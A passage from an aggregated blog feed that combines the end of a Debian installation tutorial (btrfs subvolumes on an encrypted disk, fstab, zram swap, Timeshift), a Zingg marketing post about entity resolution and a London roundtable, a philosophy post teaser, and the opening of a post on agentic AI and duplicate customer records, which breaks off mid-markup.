<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/29.png">
</figure>

<p>In the Use as menu, select &ldquo;btrfs journaling file system.&rdquo;</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/30.png">
</figure>

<p>Now, click on the mount point option.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/31.png">
</figure>

<p>Change it to &ldquo;/ - the root file system.&rdquo;</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/32.png">
</figure>

<p>Select Done setting up the partition.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/33.png">
</figure>

<p>This is a preview of the paritioning after performing the above-mentioned steps.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/34.png">
</figure>

<p>If everything is okay, proceed with the Finish partitioning and write changes to disk option.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/35.png">
</figure>

<p>The installer is reminding us to create a swap partition. I proceeded without it as I planned to add swap after the installation.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/36.png">
</figure>

<p>If everything looks fine, choose &ldquo;yes&rdquo; for writing the changes to disks.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/37.png">
</figure>

<p>Now we are done with partitioning and we are shown the screen in the screenshot above. If we had not selected the Expert Install option, the installer would have proceeded to install the base system without asking us.</p>
<p>However, we want to create subvolumes before proceeding to install the base system. This is the reason we chose Expert Install.</p>
<p>Now press Ctrl + F2.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/38.png">
</figure>

<p>You will see the screen as in the above screenshot. It says &ldquo;Please press Enter to activate this console.&rdquo; So, let&rsquo;s press Enter.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/39.png">
</figure>

<p>After pressing Enter, we see the above screen.</p>
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/40.avif">
</figure>

<p>The screenshot above shows the steps I performed in the console. I followed the already mentioned video by <a href="https://yewtu.be/watch?v=_i_InuWyfQE">EF Linux</a> for this part and adapted it to my situation (he doesn&rsquo;t encrypt the disk in his tutorial).</p>
<p>First we run <code>df -h</code> to have a look at how our disk is partitioned. In my case, the output was:</p>
<pre tabindex="0"><code># df -h
Filesystem              Size  Used  Avail   Use% Mounted on
tmpfs                   1.6G  344.0K  1.6G    0% /run
devtmpfs                7.7G       0  7.7G   0% /dev
/dev/sdb1               3.7G    3.7G    0   100% /cdrom
/dev/mapper/sda2_crypt  952.9G  5.8G  950.9G  0% /target
/dev/sda1               919.7M  260.0K  855.8M  0% /target/boot
</code></pre><p><code>df -h</code> shows us that <code>/dev/mapper/sda2_crypt</code> and <code>/dev/sda1</code> are mounted on <code>/target</code> and <code>/target/boot</code> respectively.</p>
<p>Let&rsquo;s unmount them. For that, we run:</p>
<pre tabindex="0"><code># umount /target
# umount /target/boot
</code></pre><p>Next, let&rsquo;s mount our root filesystem to <code>/mnt</code>.</p>
<pre tabindex="0"><code># mount /dev/mapper/sda2_crypt /mnt
</code></pre><p>Let&rsquo;s go into the <code>/mnt</code> directory.</p>
<pre tabindex="0"><code># cd /mnt
</code></pre><p>Upon listing the contents of this directory, we get:</p>
<pre tabindex="0"><code>/mnt # ls
@rootfs
</code></pre><p>Debian installer has created a subvolume @rootfs automatically. However, we need the subvolumes to be @ and @home. Therefore, let&rsquo;s rename the <code>@rootfs</code> subvolume to <code>@</code>.</p>
<pre tabindex="0"><code>/mnt # mv @rootfs @
</code></pre><p>Listing the contents of the directory again, we get:</p>
<pre tabindex="0"><code>/mnt # ls
@
</code></pre><p>We only one subvolume right now. Therefore, let us go ahead and create another subvolume <code>@home</code>.</p>
<pre tabindex="0"><code>/mnt # btrfs subvolume create @home
Create subvolume &#39;./@home&#39;
</code></pre><p>If we perform <code>ls</code> now, we will see there are two subvolumes:</p>
<pre tabindex="0"><code>/mnt # ls
@ @home
</code></pre><p>Let us mount <code>/dev/mapper/sda2_crypt</code> to <code>/target</code></p>
<pre tabindex="0"><code>/mnt # mount -o noatime,space_cache=v2,compress=zstd,ssd,discard=async,subvol=@ /dev/mapper/sda2_crypt /target/
</code></pre><p>Now we need to create a directory for <code>/home</code>.</p>
<pre tabindex="0"><code>/mnt # mkdir /target/home/
</code></pre><p>Now we mount the <code>/home</code> directory with <code>subvol=@home</code> option.</p>
<pre tabindex="0"><code>/mnt # mount -o noatime,space_cache=v2,compress=zstd,ssd,discard=async,subvol=@home /dev/mapper/sda2_crypt /target/home/
</code></pre><p>Now mount <code>/dev/sda1</code> to <code>/target/boot</code>.</p>
<pre tabindex="0"><code>/mnt # mount /dev/sda1 /target/boot/
</code></pre><p>Now we need to add these options to the fstab file, which is located at <code>/target/etc/fstab</code>. Unfortunately, vim is not installed in this console. The only way to edit is Nano.</p>
<pre tabindex="0"><code>nano /target/etc/fstab
</code></pre><figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/41.avif">
</figure>

<p>Edit your <code>fstab</code> file to look similar to the one in the screenshot above. I am pasting the fstab file contents below for easy reference.</p>
<pre tabindex="0"><code># /etc/fstab: static file system information.
#
# Use &#39;blkid&#39; to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# systemd generates mount units based on this file, see systemd.mount(5).
# Please run &#39;systemctl daemon-reload&#39; after making changes here.
#
# &lt;file system&gt; &lt;mount point&gt;   &lt;type&gt;  &lt;options&gt;       &lt;dump&gt;  &lt;pass&gt;
/dev/mapper/sda2_crypt /        btrfs   noatime,compress=zstd,ssd,discard=async,space_cache=v2,subvol=@ 0       0
/dev/mapper/sda2_crypt /home    btrfs   noatime,compress=zstd,ssd,discard=async,space_cache=v2,subvol=@home 0       0
# /boot was on /dev/sda1 during installation
UUID=12842b16-d3b3-44b4-878a-beb1e6362fbc /boot           ext4    defaults        0       2
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0
</code></pre><p>Please double check the fstab file before saving it. In Nano, you can press <code>Ctrl+O</code> followed by pressing Enter to save the file. Then press <code>Ctrl+X</code> to quit Nano. Now, preview the fstab file by running</p>
<pre tabindex="0"><code>cat /target/etc/fstab
</code></pre><p>and verify that the entries are correct, otherwise you will booted to an unusable and broken system after the installation is complete.</p>
<p>Next, press <code>Ctrl + Alt + F1</code> to go back to the installer.
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/42.png">
</figure>

Proceed to &ldquo;Install the base system.&rdquo;
<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/43.png"
    alt="Screenshot of Debian installer installing the base system."><figcaption>
      <p>Screenshot of Debian installer installing the base system.</p>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/debian-install-btrfs-encryption/44.png">
</figure>

I chose the default option here - <code>linux-image-amd64</code>.</p>
<p>After this, the installer will ask you a few more questions. For desktop environment, I chose KDE Plasma. You can choose the desktop environment as per your liking. I will not cover the rest of the installation process and assume that you were able to install from here.</p>
<h2 id="post-installation">Post installation</h2>
<p>Let&rsquo;s jump to our freshly installed Debian system. Since I created a root user, I added the user <code>ravi</code> to the suoders file (<code>/etc/sudoers</code>) so that <code>ravi</code> can run commands with sudo. Follow <a href="https://unix.stackexchange.com/a/292563">this</a> if you would like to do the same.</p>
<p>Now we set up zram as swap. First, install <code>zram-tools</code>.</p>
<pre tabindex="0"><code>sudo apt install zram-tools
</code></pre><p>Now edit the file <code>/etc/default/zramswap</code> and make sure to have the following lines are uncommented:</p>
<pre tabindex="0"><code>ALGO=lz4
PERCENT=50
</code></pre><p>Now, run</p>
<pre tabindex="0"><code>sudo systemctl restart zramswap
</code></pre><p>If you run <code>lsblk</code> now, you should see the below-mentioned entry in the output:</p>
<pre tabindex="0"><code>zram0          253:0    0   7.8G  0 disk  [SWAP]
</code></pre><p>This shows us that zram has been activated as swap.</p>
<p>Now we install <code>timeshift</code>, which can be done by running</p>
<pre tabindex="0"><code>sudo apt install timeshift
</code></pre><p>After the installation is complete, run Timeshift and schedule snapshots as you please. We are done now. Hope the tutorial was helpful.</p>
<p>See you in the next post and <a href="https://ravidwivedi.in/contact">let me know</a> if you have any suggestions and questions on this tutorial.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[London Calling: Do You Really Know Your Customer?]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/london-calling-do-you-really-know</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/london-calling-do-you-really-know</guid>
            <pubDate>Tue, 26 Aug 2025 18:22:30 GMT</pubDate>
            <description><![CDATA[Why I'm hosting a roundtable on Single Customer View at Martech World Forum — and why you should join us]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JRq-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JRq-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!JRq-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!JRq-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!JRq-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JRq-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png" width="1024" height="608" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:608,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JRq-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!JRq-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!JRq-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!JRq-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Last week, I was finetuning the Zingg website, when something caught my eye. We have a quote on Fortnum &amp; Mason&#8217;s journey from fragmented customer records to a unified view with Zingg:</p><div class="pullquote"><p>"For the first time, we're able to understand how customers are shopping with us&#8212;online, in-store, over the phone, or in restaurants. We never had that before."</p></div><p>That sentence got me thinking: in an era where we can track a customer's digital breadcrumbs across every touchpoint, why do so many brands still struggle with the simple question: "Do you really know your customer?"</p><p><strong>The Identity Resolution Promise That Keeps Getting Broken</strong></p><p>Most of us have watched the same promises get made over and over again. First, it was Master Data Management (MDM) systems that would create "one golden record." Then identity services like LiveRamp promised to connect everyone's messy data through their identity graph. Then for the last few years, Customer Data Platforms (CDPs) became our solution to the elusive single customer view.</p><p>But here's what I keep seeing: enterprises continue to struggle with messy and fragmented data. Multi-year MDM implementations that are still not very useful. The MDM system could tell you the exact lineage of how John Smith's email address made it through seven data transformation steps, but it couldn't figure out that J. Smith from the mobile app was the same person. The system was simply not ready for the messy reality of how customer data actually behaves.</p><p>The same pattern plays out with identity services. A different promise: "Don't worry about cleaning your own house &#8212; we'll connect everyone's messy data." Unfortunately, identity services operate as closed systems where you can't see or validate their matching logic. When they say Customer A matches Customer B, you're essentially trusting a proprietary algorithm without transparency. This becomes problematic when you need to adjust matching to your specific business context, explain results to stakeholders and debug why certain matches seem incorrect. Add to that the privacy risk of sending trusted data to a third party. Designed around <strong>fixed data models</strong> (email, phone, cookie IDs, etc.), it is tough to resolve on more complex or domain-specific attributes (like healthcare patient IDs, loyalty card numbers, or industry-specific identifiers).</p><p>CDPs were supposed to fix everything by democratizing customer data for marketers. The reality? Most became expensive data silos with pretty dashboards, lots of data movement yet the hard work of actually resolving who is who got pushed to the background.</p><p><strong>What Actually Works</strong></p><p>This is why I'm excited about what the team at Fortnum &amp; Mason have built. Starting with data scattered across restaurant bookings, email sign-ups, online orders, and in-store transactions, they built a composable CDP using Zingg for entity resolution on Databricks.</p><p>The transformation wasn't about technology for technology's sake. </p><div class="pullquote"><p>"We are able to start turning that into insights and use it to personalize experiences online. We are going to start doing this in store and in our restaurants as well. Being able to connect all of these different customer experiences together is really important for us."</p></div><p>What made their approach different? They treated entity resolution as a first-class capability, not an afterthought. They started with Zingg's open source version to build confidence, understood how the matching worked, then moved to the enterprise version. The entire journey from proof of concept to production took just 2-3 months. For the first time, they can understand how customers shop across all channels. Suddenly, &#8220;one customer&#8221; meant the same thing everywhere &#8212; and the results have been transformational, not just for analytics, but for personalization and customer experience.</p><p>Or look at the <strong>Orthodox Union</strong>, a non-profit serving millions globally. They struggled with donor and member records scattered across legacy systems, event platforms, and CRM databases. Without a reliable way to unify identities, their engagement strategies risked missing context and duplicating outreach. By resolving identities natively in their Snowflake data warehouse, they were able to create a consistent single view of donors and members, while respecting privacy and compliance requirements central to their mission. For them, identity resolution wasn&#8217;t just a data challenge &#8212; it was a way to deepen community trust.</p><p>These are two very different organizations, but the pattern is the same: composability delivers agility, while identity delivers coherence. Without both, the vision of modern customer experience falls short.</p><p><strong>The Composable CDP Revolution</strong></p><p>Fortnum &amp; Mason's and Orthodox Union&#8217;s approach reflects a broader trend that's reshaping the market. Composable CDPs sit on top of existing data clouds to preserve the customer 360 and activate real-time data across channel tools. Instead of moving data around, they work where the data lives. They are private by design. They leverage existing investments in governance and observability. They scale as you grow. </p><p>But here&#8217;s the hard truth: Composable architectures give you flexibility &#8212; but only if the components are stitched together with a stable, reliable, and explainable identity layer. You can have the most elegant semantic layer, real-time pipelines, and activation tools, but if &#8220;Acme Corp&#8221; and &#8220;ACME Inc.&#8221; are treated as two different customers, your insights fracture. If one table says &#8220;Tim Chen&#8221; and another says &#8220;T. Chen,&#8221; your campaigns lose relevance. If customer data is duplicated at ingestion, those cracks echo through every model, dashboard, and recommendation.</p><p>And here&#8217;s the other piece we don&#8217;t talk about enough: <strong>owning your identity layer means owning your customer understanding</strong>. Instead of shipping your most sensitive data out to a black-box vendor, you resolve identities where your data already lives &#8212; in your own warehouse or lake. That means:</p><ul><li><p><strong>Data ownership</strong>: You stay in control of your customer data, critical in a world of tightening privacy regulations.</p></li><li><p><strong>Schema flexibility</strong>: As your business evolves &#8212; new channels, attributes, and data types &#8212; your identity system evolves with it, instead of breaking because it was designed for someone else&#8217;s schema.</p></li><li><p><strong>Privacy and compliance</strong>: By resolving identities within your existing data governance framework, you respect customer consent and meet regulatory requirements without creating extra data copies.</p></li><li><p><strong>Stack leverage</strong>: You&#8217;re not rebuilding infrastructure. You&#8217;re making your existing investments in warehouses, lakes, and analytics more powerful by adding the missing link: identity.</p></li></ul><p><strong>Why I'm Hosting This Roundtable</strong></p><p>This brings me to London. On 9th September, I'll be at the <a href="https://themartechweekly.com/martech-world-forum/london/">Martech World Forum</a> hosting a roundtable titled "Do You Really Know Your Customer?" &#8212; and it will be lovely to meet you if you are there!</p><p>Here's what we'll cover:</p><p><strong>The Identity Crisis in Marketing</strong> Why traditional approaches to customer identity keep failing, and how agentic AI makes the problem more urgent than ever.</p><p><strong>Building Composable CDPs That Actually Work</strong> Moving beyond tool marketing to understand what composable really means, when it makes sense, and how to implement it successfully.</p><p><strong>The Zingg Approach to Entity Resolution</strong> How modern ML-based entity resolution differs from traditional MDM, why transparency matters, and how to get started with open source tools.</p><p><strong>Real Customer Stories</strong> on fragmented data to unified customer understanding, including the practical challenges and business outcomes. The folks from Fortnum &amp; Mason will join us to share their real-world experience, the challenges they overcame, and the business impact they've achieved. </p><p>The roundtable format means we can go deep, ask tough questions, and learn from each other's experiences. Whether you're just starting your customer identity journey or you've been through multiple implementations, there is value in understanding what's working now and what's coming next.</p><p><strong>Join Us in London</strong></p><p>I have a limited number of <strong>VIP passes</strong> available for the Martech World Forum. If you're a data or marketing leader in London, I'd love to share the passes and have you join the conversation in person. Because at the end of the day, the real question isn&#8217;t just &#8220;do you know your customer?&#8221; &#8212; it&#8217;s whether your systems know them too.</p><p>Not just their demographic data or their transaction history, but their actual journey across all your touchpoints? Can you recognize them when they call customer service after browsing your website? Do you know that the person who signed up for your newsletter is the same one who made a purchase in your store?</p><p>If you can't answer these questions confidently, you're not alone. But you also can't afford to stay in that position much longer.</p><p>The companies that figure this out &#8212; the ones that truly know their customers &#8212; are going to have an unfair advantage in the age of AI-driven experiences. They'll deliver more relevant products, more timely services, and more personal interactions. They'll waste less money on duplicate processes and misguided campaigns.</p><p>Most importantly, they'll build the kind of customer relationships that survive economic downturns, competitive pressures, and technology transitions.</p><p>And if you can't make it to London but have war stories about identity resolution initiatives (successful or otherwise), I'd love to hear them. This isn't really about technology &#8212; it's about understanding the humans behind the data. And that, I've learned over the years, is both the hardest and most rewarding part of what we do.</p><div><hr></div><p><em>Want to learn more about entity resolution and composable CDPs? Check out <a href="https://github.com/zinggAI/zingg">Zingg's open source project</a> or read about <a href="https://www.zingg.ai/case-studies/building-a-composable-cdp-using-entity-resolution-at-fortnum-mason">how we're helping companies like Fortnum &amp; Mason</a> build better customer understanding.</em></p><div><hr></div><p></p>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!JRq-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F383e3d4e-c861-4cf6-a823-69070443f651_1024x608.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Beyond Self-Improvement: Letting Go of the Separate Self]]></title>
            <link>https://www.prashanthudupa.com/beyond-self-improvement-letting-go-of-the-separate-self/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/beyond-self-improvement-letting-go-of-the-separate-self/</guid>
            <pubDate>Wed, 20 Aug 2025 14:08:29 GMT</pubDate>
            <description><![CDATA[We live in the age of self-improvement. Therapy, trauma-healing, productivity hacks, and endless self-help advice promise to make us better, happier, more fulfilled versions of ourselves. But have you ever stopped to ask: who or what is actually being improved? Is there really a fixed “self” at the center of all these efforts, or is […]]]></description>
            <content:encoded><![CDATA[We live in the age of self-improvement. Therapy, trauma-healing, productivity hacks, and endless self-help advice promise to make us better, happier, more fulfilled versions of ourselves. But have you ever stopped to ask: who or what is actually being improved? Is there really a fixed “self” at the center of all these efforts, or is [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Agentic AI Is Only as Smart as Its Entities]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/agentic-ai-is-only-as-smart-as-its</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/agentic-ai-is-only-as-smart-as-its</guid>
            <pubDate>Wed, 13 Aug 2025 09:43:38 GMT</pubDate>
            <description><![CDATA[And why I’ve seen smart agents make dumb mistakes — at scale]]></description>
            <content:encoded><![CDATA[<p>A few weeks ago, I was talking to a data leader at a fast-growing retail brand.<br>They&#8217;d just rolled out their shiny new AI marketing agent. It could segment customers, design campaigns, and send hyper-personalized emails &#8212; all without human intervention.</p><p>Two weeks in, the VP of Marketing noticed something strange. One of their top VIP customers had received <em>three</em> different &#8220;Welcome to our brand!&#8221; offers &#8212; each with a different discount.</p><p>Turns out, their CRM had <strong>John A. Smith</strong>, <strong>J. Smith</strong>, and <strong>Jonathan Smith</strong> as three separate customers.</p><p>The agent wasn&#8217;t broken. It was doing exactly what it was told &#8212; treat each record as a unique person and delight them with a welcome offer. The problem? The <em>records</em> were wrong.</p><p>And this, I&#8217;ve realized over and over again, is where agentic AI stumbles: <strong>when the entities are messy, the automation multiplies the mess</strong>. </p><p>Over the past few years, I&#8217;ve seen this pattern play out in every industry:</p><p><strong>Retail</strong> &#8212; Duplicate customer records mean multiple shipments, multiple offers, multiple refunds. Margins erode quietly.</p><p><strong>Finance</strong> &#8212; Fraudsters open several accounts with tiny name variations. Without linking those identities, your fraud-detection AI treats them as separate people &#8212; and misses the pattern.</p><p><strong>Healthcare</strong> &#8212; Patient &#8220;Mary Chen&#8221; at Hospital A is &#8220;M. Y. Chen&#8221; at Clinic B. An AI care coordinator misses her allergy record and books a risky procedure.</p><p>In each case, the AI wasn&#8217;t &#8220;dumb.&#8221; It was confidently acting on bad data. And because agentic AI is autonomous, it didn&#8217;t just make one mistake &#8212; it repeated the mistake hundreds or thousands of times before anyone noticed.  Smart agents get the &#8220;who&#8221; wrong and this really hurts the business. </p><p>If you capture the hype, everyone talks about the cost of building and running agentic AI. Yet, fewer people talk about <strong>the cost of running it on messy data</strong>. Agents run on LLM calls, and every action burns tokens. When your entities aren&#8217;t resolved, the agent:</p><ul><li><p>Processes duplicates</p></li><li><p>Repeats actions unnecessarily</p></li><li><p>Sends extra API calls trying to reconcile</p></li></ul><p>Here&#8217;s the math from just one example scenario:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vE0q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vE0q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 424w, https://substackcdn.com/image/fetch/$s_!vE0q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 848w, https://substackcdn.com/image/fetch/$s_!vE0q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 1272w, https://substackcdn.com/image/fetch/$s_!vE0q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vE0q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png" width="1257" height="323" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:323,&quot;width&quot;:1257,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:58928,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.learningfromdata.zingg.ai/i/170856561?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vE0q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 424w, https://substackcdn.com/image/fetch/$s_!vE0q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 848w, https://substackcdn.com/image/fetch/$s_!vE0q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 1272w, https://substackcdn.com/image/fetch/$s_!vE0q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd0c295d1-f874-45b3-bd97-acdf45a2a531_1257x323.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" 